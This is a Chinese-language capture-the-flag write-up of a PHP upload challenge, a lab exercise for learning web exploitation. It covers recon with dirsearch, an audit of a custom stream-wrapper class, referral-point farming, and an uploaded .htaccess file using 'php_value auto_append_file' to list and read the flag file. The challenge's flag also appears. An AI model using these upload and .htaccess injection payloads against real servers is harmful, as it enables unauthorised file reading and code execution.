1.进入环境,查看内容
乱点一通,注册个账号,没有什么发现,秒杀页面有些奇怪,但也没有重要的提示,使用dirsearch扫一扫,看看有啥,如图:
我们发现有robots.txt,那就从这里入手吧!
2. 问题分析
- 查看robots.txt
打开后,提示config.txt是入手点,那就访问一下,打开后是一堆代码,如下:
<?php
class master
{
private $path;
private $name;
function __construct()
{
}
function stream_open($path)
{
if(!preg_match('/(.*)\/(.*)$/s',$path,$array,0,9))
return 1;
$a=$array[1];
parse_str($array[2],$array);
if(isset($array['path']))
{
$this->path=$array['path'];
}
else
return 1;
if(isset($array['name']))
{
$this->name=$array['name'];
}
else
return 1;
if($a==='upload')
{
return $this->upload($this->path,$this->name);
}
elseif($a==='search')
{
return $this->search($this->path,$this->name);
}
else
return 1;
}
function upload($path,$name)
{
if(!preg_match('/^uploads\/[a-z]{10}\/$/is',$path)||empty($_FILES[$name]['tmp_name']))
return 1;
$filename=$_FILES[$name]['name'];
echo $filename;
$file=file_get_contents($_FILES[$name]['tmp_name']);
$file=str_replace('<','!',$file);
$file=str_replace(urldecode('%03'),'!',$file);
$file=str_replace('"','!',$file);
$file=str_replace("'",'!',$file);
$file=str_replace('.','!',$file);
if(preg_match('/file:|http|pre|etc/is',$file))
{
echo 'illegalbbbbbb!';
return 1;
}
file_put_contents($path.$filename,$file);
file_put_contents($path.'user.jpg',$file);
echo 'upload success!';
return 1;
}
function search($path,$name)
{
if(!is_dir($path))
{
echo 'illegal!';
return 1;
}
$files=scandir($path);
echo '</br>';
foreach($files as $k=>$v)
{
if(str_ireplace($name,'',$v)!==$v)
{
echo $v.'</br>';
}
}
return 1;
}
function stream_eof()
{
return true;
}
function stream_read()
{
return '';
}
function stream_stat()
{
return '';
}
}
stream_wrapper_unregister('php');
stream_wrapper_unregister('phar');
stream_wrapper_unregister('zip');
stream_wrapper_register('master','master');
?>
看内容不过就是文件流操作函数,和一些文件上传的内容过滤函数
- 上传文件
我们发现个人中心有可以上传文件的入口,我们尝试点击,如图:
等级不足,需要提升积分。看到注册页有个填写推广人的,尝试写入推荐人,发现有积分增长:
但是还是无法提交,说明积分不够,那么多注册几个(其实需要大于100积分),当积分大于100分的时候,发现可以上传头像了。
我们尝试搞个一句话木马,然后通过上传到服务器试试
上传成功后,需要看到上传在哪里了,我们去dirsearch中看到,有一个/uploads/
目录,尝试访问一下,如图:
一顿乱戳,找到了:
但是发现代码变化了,如图: - 代码审计
function upload($path,$name)
{
if(!preg_match('/^uploads\/[a-z]{10}\/$/is',$path)||empty($_FILES[$name]['tmp_name']))
return 1;
$filename=$_FILES[$name]['name'];
echo $filename;
$file=file_get_contents($_FILES[$name]['tmp_name']);
$file=str_replace('<','!',$file);
$file=str_replace(urldecode('%03'),'!',$file);
$file=str_replace('"','!',$file);
$file=str_replace("'",'!',$file);
$file=str_replace('.','!',$file);
if(preg_match('/file:|http|pre|etc/is',$file))
{
echo 'illegalbbbbbb!';
return 1;
}
file_put_contents($path.$filename,$file);
file_put_contents($path.'user.jpg',$file);
echo 'upload success!';
return 1;
}
可以看到,上传的文件内容被str_replace()函数做了替换,那么如何上传后门,让代码执行应该是重点了。
接下来又涉及到知识盲区了,跟着wp走吧!
4. 上传.htaccess文件
上传一个.htaccess文件 ,内容为:
php_value auto_append_file master://search/path=%2fhome%2f&name=flag
使用bp上传,如图:
再次访问上传的php文件,我们会发现flag文件,如图:
那么继续构造能拿到flag的payload:
php_value auto_append_file /home/hiahiahia_flag
bp上传文件,如图:
再次刷新php页面,拿到结果如图:
最终的flag为:cyberpeace{3da8c27082ab20490ca3af4588350b42}
3. 总结
这个题操作不难,但是为什么要构造.htaccess文件?这个是什么东东?
.htaccess 详解
这波题是按照wp一步步操作并记录得到的,主要问题还是在于.htaccess是什么东东,为什么这么构造,打算再研究一下这玩意。